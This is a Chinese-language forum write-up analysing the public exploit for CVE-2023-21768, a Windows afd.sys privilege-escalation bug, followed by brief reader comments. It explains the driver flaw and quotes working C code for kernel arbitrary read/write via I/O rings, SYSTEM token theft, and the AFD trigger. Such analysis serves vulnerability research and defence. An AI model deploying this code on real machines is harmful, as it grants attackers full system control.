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[原创]Windows_AFD_LPE_CVE-2023-21768分析
2023-3-29 00:31 19688

[原创]Windows_AFD_LPE_CVE-2023-21768分析

N1ptune 活跃值
2023-3-29 00:31
19688

简介

CVE-2023-21768 Windows Ancillary Function Driver (AFD) afd.sys本地提权漏洞。

 

本文是对exp代码的分析，完整exp : xforcered/Windows_LPE_AFD_CVE-2023-21768: LPE exploit for CVE-2023-21768 (github.com)

漏洞分析

个人感觉整个exp中最精华的部分在ioring的lpe部分，这部分代码来自Yarden Shafir

I/O ring

i/o ring 是Windows 11(22H2)新出现的一种机制，参考ioringapi - Win32 apps | Microsoft Learn

 

通过CreateIoRing来创建一个IORING_OBJECT对象。内核中对应NtCreateIoRing。

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HRESULT CreateIoRing(
  IORING_VERSION      ioringVersion,
  IORING_CREATE_FLAGS flags,
  UINT32              submissionQueueSize,
  UINT32              completionQueueSize,
  HIORING             *h
);

submissionQueueSize和completionQueueSize会被替换成2的幂数，使用GetIoRingInfo获取实际大小。

 

submission queue的结构是头部+若干个NT_IORING_SEQ，Head和Tail之间的NT_IORING_SEQ是还未被处理的NT_IORING_SEQ。

 

 

submission queue entry的结构

 

 

以FileRef所指向的文件句柄和buffer进行读写操作，当操作为读时从文件处读取length长的数据并写入到buffer的Address中，当操作为写时从buffer的Address处读取length长的数据并写入到文件中。

 

通过SubmitIoRing函数提交。

 

正常情况下这个操作是不会出问题的，但是如果我们有一个任意写漏洞的时候会发生什么呢？

 

如果我们将Buffer改写为我们申请出的一块内存，并且将address和length设置好，那么当操作是写时，从buffer的Address处读取length长的数据并写入到文件中，我们在从这个文件中读出数据就可以实现任意读，当操作是读时，从文件处读取length长的数据并写入到buffer的Address中，就可以实现任意写。

 

也即通过BuildIoRingWriteFile实现任意读，通过BuildIoRingReadFile实现任意写。

创建I/O ring

创建I/O ring对象，再创建两个命名管道用做读写句柄。

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创建I/O ringint ioring_setup(PIORING_OBJECT* ppIoRingAddr)
{
    int ret = -1;
    IORING_CREATE_FLAGS ioRingFlags = { 0 };
 
    ioRingFlags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
    ioRingFlags.Advisory = IORING_CREATE_REQUIRED_FLAGS_NONE;
 
    ret = CreateIoRing(IORING_VERSION_3, ioRingFlags, 0x10000, 0x20000, &hIoRing);
 
    if (0 != ret)
    {
        goto done;
    }
 
    ret = getobjptr(ppIoRingAddr, GetCurrentProcessId(), *(PHANDLE)hIoRing);
 
    if (0 != ret)
    {
        goto done;
    }
 
    pIoRing = *ppIoRingAddr;
 
    hInPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_in", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
    hOutPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_out", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
 
    if ((INVALID_HANDLE_VALUE == hInPipe) || (INVALID_HANDLE_VALUE == hOutPipe))
    {
        ret = GetLastError();
        goto done;
    }
 
    hInPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_in", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    hOutPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_out", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
 
    if ((INVALID_HANDLE_VALUE == hInPipeClient) || (INVALID_HANDLE_VALUE == hOutPipeClient))
    {
        ret = GetLastError();
        goto done;
    }
 
    ret = 0;
 
done:
    return ret;
}

任意读

首先设置好读取数据地址和长度，在通过BuildIoRingWriteFile将ReadAddr处的数据写入到管道中，再从管道中将数据读取到ReadBuffer中。

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int ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen)
{
    int ret = -1;
    PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
    IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hOutPipeClient);
    IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
    IORING_CQE cqe = { 0 };
 
    pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
 
    if (NULL == pMcBufferEntry)
    {
        ret = GetLastError();
        goto done;
    }
 
    pMcBufferEntry->Address = pReadAddr;
    pMcBufferEntry->Length = ulReadLen;
    pMcBufferEntry->Type = 0xc02;
    pMcBufferEntry->Size = 0x80;
    pMcBufferEntry->AccessMode = 1;
    pMcBufferEntry->ReferenceCount = 1;
 
    pRegisterBuffers[0] = pMcBufferEntry;
 
    ret = BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen, 0, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);
 
    if (0 != ret)
    {
        goto done;
    }
 
    ret = SubmitIoRing(hIoRing, 0, 0, NULL);
 
    if (0 != ret)
    {
        goto done;
    }
 
    ret = PopIoRingCompletion(hIoRing, &cqe);
 
    if (0 != ret)
    {
        goto done;
    }
 
    if (0 != cqe.ResultCode)
    {
        ret = cqe.ResultCode;
        goto done;
    }
 
    if (0 == ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL))
    {
        ret = GetLastError();
        goto done;
    }
 
    ret = 0;
 
done:
    if (NULL != pMcBufferEntry)
    {
        VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
    }
    return ret;
}

任意写

先将需要写的数据写入到管道中，在设置好WriteAddr和WriteLen，使用BuildIoRingReadFile将数据写入到WriteAddr处。

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int ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen)
{
    int ret = -1;
    PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
    IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hInPipeClient);
    IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
    IORING_CQE cqe = { 0 };
 
    if (0 == WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))
    {
        ret = GetLastError();
        goto done;
    }
 
    pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
 
    if (NULL == pMcBufferEntry)
    {
        ret = GetLastError();
        goto done;
    }
 
    pMcBufferEntry->Address = pWriteAddr;
    pMcBufferEntry->Length = ulWriteLen;
    pMcBufferEntry->Type = 0xc02;
    pMcBufferEntry->Size = 0x80;
    pMcBufferEntry->AccessMode = 1;
    pMcBufferEntry->ReferenceCount = 1;
 
    pRegisterBuffers[0] = pMcBufferEntry;
 
    ret = BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen, 0, NULL, IOSQE_FLAGS_NONE);
 
    if (0 != ret)
    {
        goto done;
    }
 
    ret = SubmitIoRing(hIoRing, 0, 0, NULL);
 
    if (0 != ret)
    {
        goto done;
    }
 
    ret = PopIoRingCompletion(hIoRing, &cqe);
 
    if (0 != ret)
    {
        goto done;
    }
 
    if (0 != cqe.ResultCode)
    {
        ret = cqe.ResultCode;
        goto done;
    }
 
    ret = 0;
 
done:
    if (NULL != pMcBufferEntry)
    {
        VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
    }
    return ret;
}

I/O ring lpe

找到system进程然后替换token。

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int ioring_lpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG ulFakeRegBufferCnt)
{
    int ret = -1;
    HANDLE hProc = NULL;
    ULONG64 ullSystemEPROCaddr = 0;
    ULONG64 ullTargEPROCaddr = 0;
    PVOID pFakeRegBuffers = NULL;
    _HIORING* phIoRing = NULL;
    ULONG64 ullSysToken = 0;
    char null[0x10] = { 0 };
 
    hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, pid);
 
    if (NULL == hProc)
    {
        ret = GetLastError();
        goto done;
    }
 
    ret = getobjptr(&ullSystemEPROCaddr, 4, 4);
 
    if (0 != ret)
    {
        goto done;
    }
 
    printf("[+] System EPROC address: %llx\n", ullSystemEPROCaddr);
 
    ret = getobjptr(&ullTargEPROCaddr, GetCurrentProcessId(), hProc);
 
    if (0 != ret)
    {
        goto done;
    }
 
    printf("[+} Target process EPROC address: %llx\n", ullTargEPROCaddr);
 
    pFakeRegBuffers = VirtualAlloc(ullFakeRegBufferAddr, sizeof(ULONG64) * ulFakeRegBufferCnt, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
 
    if (pFakeRegBuffers != (PVOID)ullFakeRegBufferAddr)
    {
        ret = GetLastError();
        goto done;
    }
 
    memset(pFakeRegBuffers, 0, sizeof(ULONG64) * ulFakeRegBufferCnt);
 
    phIoRing = *(_HIORING**)&hIoRing;
    phIoRing->RegBufferArray = pFakeRegBuffers;
    phIoRing->BufferArraySize = ulFakeRegBufferCnt;
 
    ret = ioring_read(pFakeRegBuffers, ullSystemEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));
 
    if (0 != ret)
    {
        goto done;
    }
 
    printf("[+] System token is at: %llx\n", ullSysToken);
 
    ret = ioring_write(pFakeRegBuffers, ullTargEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));
 
    if (0 != ret)
    {
        goto done;
    }
 
    ioring_write(pFakeRegBuffers, &pIoRing->RegBuffersCount, &null, 0x10);
 
    ret = 0;
 
done:
    return ret;
}

漏洞成因

通过diff可以判断漏洞点位于afd.sys的AfdNotifyRemoveIoCompletion函数。

 

 

这里可以看出没有对**(_DWORD **)(a3 + 24)进行进行验证就把v18赋值，所以设置好这里就可以实现任意写。

 

查找这个函数的引用是AfdNotifySock。继续查找引用，发现其在AfdImmediateCallDispatch中是最后一个函数，

 

在AfdIoctlTable中找到最后一个ioctl_code， 是0x12127。

 

与afd.sys交互参考x86matthew - NTSockets - Downloading a file via HTTP using the NtCreateFile and NtDeviceIoControlFile syscalls

 

查看AfdNotifySock函数。

 

 

检测

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if ( InputBufferLength != 0x30 || OutputBufferLength )
  {
    v10 = STATUS_INFO_LENGTH_MISMATCH;
    goto LABEL_45;
  }
if ( !v7->dwCounter )
    goto LABEL_5;
if ( v7->dwLen )
 {
    if ( !v7->pPwnPtr || !v7->pData2 )
      goto LABEL_5;
 }
else if ( v7->pData2 || v7->dwTimeout )
  {
LABEL_5:
    v10 = STATUS_INVALID_PARAMETER;
    goto LABEL_45;
  }
 
v11 = v7->hCompletion;
Object = 0i64;
v10 = ObReferenceObjectByHandle(v11, 2u, IoCompletionObjectType, pre_mode, &Object, 0i64);
 
 
if ( v10 >= 0 )
  {
    v12 = IoIs32bitProcess(0i64);
    v13 = 0;
    v14 = (unsigned __int64 *)MmUserProbeAddress;
    while ( v13 < v7->dwCounter )
    {
      if ( pre_mode )
      {
        v24 = 0i64;
        v25 = 0i64;
        v15 = v13;
        v16 = v7->pData1;
        if ( v12 )
        {
          v17 = (unsigned __int64)v16 + 16 * v13;
          v31 = v17;
          if ( (v17 & 3) != 0 )
            ExRaiseDatatypeMisalignment();
          if ( v17 + 16 > *v14 || v17 + 16 < v17 )
            *(_BYTE *)*v14 = 0;
          *(_QWORD *)&v24 = *(unsigned int *)v17;
          *((_QWORD *)&v24 + 1) = *(unsigned int *)(v17 + 4);
          LOWORD(v25) = *(_WORD *)(v17 + 8);
          BYTE2(v25) = *(_BYTE *)(v17 + 10);
        }
        else
        {
          v17 = (unsigned __int64)v16 + 24 * v13;
          if ( v17 >= *v14 )
            v17 = *v14;
          v24 = *(_OWORD *)v17;
          v25 = *(_QWORD *)(v17 + 16);
        }
        v18 = &v24;
        v27 = &v24;
      }
      else
      {
        v15 = v13;
        v17 = 3i64 * v13;
        v18 = (__int128 *)((char *)v7->pData1 + 24 * v13);
        v27 = v18;
      }
      v19 = a1;
      if ( v13 )
        v19 = 0i64;
      LOBYTE(v17) = pre_mode;
      v20 = AfdNotifyProcessRegistration(v17, v9, v18, v19);
      if ( pre_mode )
      {
        v21 = (char *)v7->pData1;
        v14 = (unsigned __int64 *)MmUserProbeAddress;
        if ( v12 )
          v22 = &v21[16 * v15 + 12];
        else
          v22 = &v21[24 * v15 + 20];
        if ( (unsigned __int64)v22 >= MmUserProbeAddress )
          v22 = (char *)MmUserProbeAddress;
        *(_DWORD *)v22 = v20;
      }
      else
      {
        *((_DWORD *)v7->pData1 + 6 * v15 + 5) = v20;
        v14 = (unsigned __int64 *)MmUserProbeAddress;
      }
      ++v13;
    }
    v10 = AfdNotifyRemoveIoCompletion(pre_mode, (__int64)v9, (__int64)v7);
  }

为了过掉检测需要将InputBufferLength设置为0x30，将hCompletion通过未导出函数NtCreateIoCompletion设置为一个句柄，将pdata1设置为一块申请出的空间， counter 设为1。

 

查看AfdNotifyRemoveIoCompletion函数

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dwLen = a3->dwLen;
  if ( !(_DWORD)dwLen )
  {
LABEL_33:
    v8 = 0;
    goto LABEL_34;
  }
 
 if ( a1 )
      ProbeForWrite(a3->pData2, v9, v11);
 
  v8 = IoRemoveIoCompletion(v25, Pool2, v4, (unsigned int)dwLen, &v20, a1, v13, 0);
    if ( !v8 )
    {
      if ( v19 )
      {
        for ( i = 0; i < v20; ++i )
        {
          v15 = &Pool2[32 * i];
          v16 = (char *)a3->pData2 + 16 * i;
          *v16 = *(_DWORD *)v15;
          v16[1] = *((_DWORD *)v15 + 2);
          v16[3] = *((_DWORD *)v15 + 6);
          v16[2] = *((_DWORD *)v15 + 4);
        }
      }
      *(_DWORD *)a3->pPwnPtr = v20;
      goto LABEL_33;
    }

将dwLen = 0x1设为1, pData2设为一块申请出的内存，为了使IoRemoveIoCompletion返回0需要使用未导出函数NtSetIoCompletion。

 

最后整合到一起就是

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int ArbitraryKernelWrite0x1(void* pPwnPtr)
{
    int ret = -1;
    HANDLE hCompletion = INVALID_HANDLE_VALUE;
    IO_STATUS_BLOCK IoStatusBlock = { 0 };
    HANDLE hSocket = INVALID_HANDLE_VALUE;
    UNICODE_STRING ObjectFilePath = { 0 };
    OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
    AFD_NOTIFYSOCK_DATA Data = { 0 };
    HANDLE hEvent = NULL;
    HANDLE hThread = NULL;
 
    // Hard-coded attributes for an IPv4 TCP socket
    BYTE bExtendedAttributes[] =
    {
        0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,
        0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE
    };
 
    ret = _NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL, 1);
 
    if (0 != ret)
    {
        goto done;
    }
 
    ret = _NtSetIoCompletion(hCompletion, 0x1337, &IoStatusBlock, 0, 0x100);
 
    if (0 != ret)
    {
        goto done;
    }
 
    ObjectFilePath.Buffer = (PWSTR)L"\\Device\\Afd\\Endpoint";
    ObjectFilePath.Length = (USHORT)wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);
    ObjectFilePath.MaximumLength = ObjectFilePath.Length;
 
    ObjectAttributes.Length = sizeof(ObjectAttributes);
    ObjectAttributes.ObjectName = &ObjectFilePath;
    ObjectAttributes.Attributes = 0x40;
 
    ret = _NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));
 
    if (0 != ret)
    {
        goto done;
    }
 
    Data.hCompletion = hCompletion;
    Data.pData1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    Data.pData2 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    Data.dwCounter = 0x1;
    Data.dwLen = 0x1;
    Data.dwTimeout = 100000000;
    Data.pPwnPtr = pPwnPtr;
 
    if ((NULL == Data.pData1) || (NULL == Data.pData2))
    {
        ret = GetLastError();
        goto done;
    }
 
    hEvent = CreateEvent(NULL, 0, 0, NULL);
 
    if (NULL == hEvent)
    {
        ret = GetLastError();
        goto done;
    }
 
    _NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data, 0x30, NULL, 0);
 
    ret = 0;
 
done:
    if (INVALID_HANDLE_VALUE != hCompletion)
    {
        CloseHandle(hCompletion);
    }
 
    if (INVALID_HANDLE_VALUE != hSocket)
    {
        CloseHandle(hSocket);
    }
 
    if (NULL != hEvent)
    {
        CloseHandle(hEvent);
    }
 
    if (NULL != Data.pData1)
    {
        VirtualFree(Data.pData1, 0, MEM_RELEASE);
    }
 
    if (NULL != Data.pData2)
    {
        VirtualFree(Data.pData2, 0, MEM_RELEASE);
    }
 
    return ret;
}

参考

Patch Tuesday -> Exploit Wednesday: Pwning Windows Ancillary Function Driver for WinSock (afd.sys) in 24 Hours (securityintelligence.com)

 

One I/O Ring to Rule Them All: A Full Read/Write Exploit Primitive on Windows 11 – Winsider Seminars & Solutions Inc. (windows-internals.com)

 

I/O Rings – When One I/O Operation is Not Enough – Winsider Seminars & Solutions Inc. (windows-internals.com)

 

x86matthew - NTSockets - Downloading a file via HTTP using the NtCreateFile and NtDeviceIoControlFile syscalls


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王cb
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王cb 8 2023-3-29 12:54
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pureGavin
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pureGavin 2 2023-3-30 14:31
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感谢分享
sionalice
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sionalice 2023-4-4 09:32
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感谢分享，最近正好也在看这个
LarryS
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LarryS 13 2023-4-7 17:51
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你好，请问你有复现过这个利用吗，我在windows 11 22H2上面测试，已经安装了 preview 版本，但是 BuildIoRingWriteFile 函数还是找不到
N1ptune
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N1ptune 2023-4-7 20:26
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LarryS 你好，请问你有复现过这个利用吗，我在windows 11 22H2上面测试，已经安装了 preview 版本，但是 BuildIoRingWriteFile 函数还是找不到
这个函数是在靠后一点的版本才有的https://windows-internals.com/one-year-to-i-o-ring-what-changed/
wx_x_931870
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wx_x_931870 2023-7-14 11:20
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有个问题 ，这个漏洞是任意地址写1，这个和i/o ring有什么关系呢？i/o ring是可以任意地址读任意地址写吧？
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